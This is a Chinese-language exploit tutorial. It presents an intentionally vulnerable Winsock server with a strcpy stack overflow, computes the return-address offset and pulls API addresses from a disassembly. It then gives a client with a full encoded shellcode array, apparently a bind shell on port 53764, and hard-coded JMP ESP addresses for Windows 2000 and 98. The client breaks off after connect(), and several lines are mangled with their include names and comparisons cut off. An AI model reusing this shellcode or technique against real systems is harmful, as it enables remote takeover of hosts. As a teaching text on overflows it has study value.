下面是一个有问题的internet服务程序:
/****************************************************************************/
/* server.cpp By Ipxodi
*/
#include
#include
char Buff[1024];
void overflow(char * s,int size)
{
char s1[50];
printf("receive %d bytes",size);
s[size]=0;
strcpy(s1,s);
}
int main()
{
WSADATA wsa;
SOCKET listenFD;
int ret;
char asd[2048];
WSAStartup(MAKEWORD(2,2),&wsa);
listenFD = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
struct sockaddr_in server;
server.sin_family = AF_INET;
server.sin_port = htons(3764);
server.sin_addr.s_addr=ADDR_ANY;
ret=bind(listenFD,(sockaddr *)&server,sizeof(server));
ret=listen(listenFD,2);
int iAddrSize = sizeof(server);
SOCKET clientFD=accept(listenFD,(sockaddr *)&server,&iAddrSize);
unsigned long lBytesRead;
while(1) {
lBytesRead=recv(clientFD,Buff,1024,0);
if(lBytesRead
overflow(Buff,lBytesRead);
ret=send(clientFD,Buff,lBytesRead,0);
if(ret
}
WSACleanup();
return 0;
}
/****************************************************************************/
函数Overflow有问题,看到了吗?
好,现在我们来写溢出攻击程序:
1)先算一下溢出(返回)地址应该在哪里?
(:啊?算出?你上次不是用程序试吗?我好不容易才看懂你的算法,这次怎么不用了?
:唉,老兄,上次是没有敌人的原代码,懒得看汇编,才会试,
现在原代码就放在你眼前,你自己算一下不就出来了?)
下面是溢出时刻堆栈布局:
内存底部 内存顶部
buffer EBP ret
^&buffer
堆栈顶部 堆栈底部
可以看到,buffer我们开的是50,32位系统针对数组进行四位对齐,所以实际缓冲区是
52,加上EBP占去4个字节,就是52+4=56,那么,ret就是第56字节了。
2)再看看server里面LoadLibrary和GetProcAddress的地址是什么?
启动wdasm32,加载server.exe
:004028EC 68F0014200 push 004201F0
* Reference To: KERNEL32.LoadLibraryA, Ord:01C2h
|
:004028F1 FF15E8614200 Call dword ptr [004261E8]
好,KERNEL32.LoadLibraryA(就是LoadLibrary的别名)的入口地址:0x004261E8。
:00402911 51 push ecx
* Reference To: KERNEL32.GetProcAddress, Ord:013Eh
|
:00402912 FF15E4614200 Call dword ptr [004261E4]
好,KERNEL32.GetProcAddress的入口地址:0x004261E4。
这两个地址都有00,我们不能直接在shellcode里面引用,因此采用如下变通方案:
0xbb,0x99, 0xe8, 0x61, 0x42, /* mov ebx, 004261E8h;(&LoadLibrary) */
0xc1, 0xeb, 0x08, /* shr ebx, 08 */
以及
0xb3, 0xe4, /* mov bl, e4 &GetProcAddr */
3)写出client:
/****************************************************************************/
/* client.cpp By Ipxodi
*/
#include
#include
#define WIN2000
#ifdef WIN2000
#define JUMPESP "\x2a\xe3\xe2\x77"
#endif
#ifdef WIN98
#define JUMPESP "\xa3\x95\xf7\xbf"
#endif
unsigned char eip[8] = JUMPESP;
unsigned char sploit[580] = {
0x90, 0x8b, 0xfc,
0x33, 0xc0, 0x50, 0xf7, 0xd0, 0x50, 0x59, 0xf2, 0xaf, 0x59, 0xb1, 0xc6,
0x8b, 0xc7, 0x48, 0x80, 0x30, 0x99, 0xe2, 0xfa, 0x33, 0xf6, 0x96, 0xbb,
0x99, 0xe8, 0x61, 0x42, 0xc1, 0xeb, 0x08, 0x56, 0xff, 0x13, 0x8b, 0xd0,
0xfc, 0x33, 0xc9, 0xb1, 0x0b, 0x49, 0x32, 0xc0, 0xac, 0x84, 0xc0, 0x75,
0xf9, 0x52, 0x51, 0x56, 0x52, 0xb3, 0xe4, 0xff, 0x13, 0xab, 0x59, 0x5a,
0xe2, 0xec, 0x32, 0xc0, 0xac, 0x84, 0xc0, 0x75, 0xf9, 0xb3, 0xe8, 0x56,
0xff, 0x13, 0x8b, 0xd0, 0xfc, 0x33, 0xc9, 0xb1, 0x06, 0x32, 0xc0, 0xac,
0x84, 0xc0, 0x75, 0xf9, 0x52, 0x51, 0x56, 0x52, 0xb3, 0xe4, 0xff, 0x13,
0xab, 0x59, 0x5a, 0xe2, 0xec, 0x83, 0xc6, 0x05, 0x33, 0xc0, 0x50, 0x40,
0x50, 0x40, 0x50, 0xff, 0x57, 0xe8, 0x93, 0x6a, 0x10, 0x56, 0x53, 0xff,
0x57, 0xec, 0x6a, 0x02, 0x53, 0xff, 0x57, 0xf0, 0x33, 0xc0, 0x57, 0x50,
0xb0, 0x0c, 0xab, 0x58, 0xab, 0x40, 0xab, 0x5f, 0x48, 0x50, 0x57, 0x56,
0xad, 0x56, 0xff, 0x57, 0xc0, 0x48, 0x50, 0x57, 0xad, 0x56, 0xad, 0x56,
0xff, 0x57, 0xc0, 0x48, 0xb0, 0x44, 0x89, 0x07, 0x57, 0xff, 0x57, 0xc4,
0x33, 0xc0, 0x8b, 0x46, 0xf4, 0x89, 0x47, 0x3c, 0x89, 0x47, 0x40, 0x8b,
0x06, 0x89, 0x47, 0x38, 0x33, 0xc0, 0x66, 0xb8, 0x01, 0x01, 0x89, 0x47,
0x2c, 0x57, 0x57, 0x33, 0xc0, 0x50, 0x50, 0x50, 0x40, 0x50, 0x48, 0x50,
0x50, 0xad, 0x56, 0x33, 0xc0, 0x50, 0xff, 0x57, 0xc8, 0xff, 0x76, 0xf0,
0xff, 0x57, 0xcc, 0xff, 0x76, 0xfc, 0xff, 0x57, 0xcc, 0x48, 0x50, 0x50,
0x53, 0xff, 0x57, 0xf4, 0x8b, 0xd8, 0x33, 0xc0, 0xb4, 0x04, 0x50, 0xc1,
0xe8, 0x04, 0x50, 0xff, 0x57, 0xd4, 0x8b, 0xf0, 0x33, 0xc0, 0x8b, 0xc8,
0xb5, 0x04, 0x50, 0x50, 0x57, 0x51, 0x56, 0xff, 0x77, 0xa8, 0xff, 0x57,
0xd0, 0x83, 0x3f, 0x01, 0x7c, 0x22, 0x33, 0xc0, 0x50, 0x57, 0xff, 0x37,
0x56, 0xff, 0x77, 0xa8, 0xff, 0x57, 0xdc, 0x0b, 0xc0, 0x74, 0x2f, 0x33,
0xc0, 0x50, 0xff, 0x37, 0x56, 0x53, 0xff, 0x57, 0xf8, 0x6a, 0x50, 0xff,
0x57, 0xe0, 0xeb, 0xc8, 0x33, 0xc0, 0x50, 0xb4, 0x04, 0x50, 0x56, 0x53,
0xff, 0x57, 0xfc, 0x57, 0x33, 0xc9, 0x51, 0x50, 0x56, 0xff, 0x77, 0xac,
0xff, 0x57, 0xd8, 0x6a, 0x50, 0xff, 0x57, 0xe0, 0xeb, 0xaa, 0x50, 0xff,
0x57, 0xe4, 0x90, 0xd2, 0xdc, 0xcb, 0xd7, 0xdc, 0xd5, 0xaa, 0xab, 0x99,
0xda, 0xeb, 0xfc, 0xf8, 0xed, 0xfc, 0xc9, 0xf0, 0xe9, 0xfc, 0x99, 0xde,
0xfc, 0xed, 0xca, 0xed, 0xf8, 0xeb, 0xed, 0xec, 0xe9, 0xd0, 0xf7, 0xff,
0xf6, 0xd8, 0x99, 0xda, 0xeb, 0xfc, 0xf8, 0xed, 0xfc, 0xc9, 0xeb, 0xf6,
0xfa, 0xfc, 0xea, 0xea, 0xd8, 0x99, 0xda, 0xf5, 0xf6, 0xea, 0xfc, 0xd1,
0xf8, 0xf7, 0xfd, 0xf5, 0xfc, 0x99, 0xc9, 0xfc, 0xfc, 0xf2, 0xd7, 0xf8,
0xf4, 0xfc, 0xfd, 0xc9, 0xf0, 0xe9, 0xfc, 0x99, 0xde, 0xf5, 0xf6, 0xfb,
0xf8, 0xf5, 0xd8, 0xf5, 0xf5, 0xf6, 0xfa, 0x99, 0xce, 0xeb, 0xf0, 0xed,
0xfc, 0xdf, 0xf0, 0xf5, 0xfc, 0x99, 0xcb, 0xfc, 0xf8, 0xfd, 0xdf, 0xf0,
0xf5, 0xfc, 0x99, 0xca, 0xf5, 0xfc, 0xfc, 0xe9, 0x99, 0xdc, 0xe1, 0xf0,
0xed, 0xc9, 0xeb, 0xf6, 0xfa, 0xfc, 0xea, 0xea, 0x99, 0xce, 0xca, 0xd6,
0xda, 0xd2, 0xaa, 0xab, 0x99, 0xea, 0xf6, 0xfa, 0xf2, 0xfc, 0xed, 0x99,
0xfb, 0xf0, 0xf7, 0xfd, 0x99, 0xf5, 0xf0, 0xea, 0xed, 0xfc, 0xf7, 0x99,
0xf8, 0xfa, 0xfa, 0xfc, 0xe9, 0xed, 0x99, 0xea, 0xfc, 0xf7, 0xfd, 0x99,
0xeb, 0xfc, 0xfa, 0xef, 0x99, 0x9b, 0x99,
0x4b, 0x9d, //port=53764
0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99,
0xfa, 0xf4, 0xfd, 0xb7, 0xfc, 0xe1, 0xfc, 0x99, 0xff, 0xff, 0xff, 0xff,
0x0d, 0x0a};
int main()
{
WSADATA wsa;
SOCKET sockFD;
char Buff[1024],*sBO;
WSAStartup(MAKEWORD(2,2),&wsa);
sockFD = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
struct sockaddr_in server;
server.sin_family = AF_INET;
server.sin_port = htons(3764);
server.sin_addr.s_addr=inet_addr("127.0.0.1");
connect(sockFD,(struct sockaddr *)&server,sizeof(server));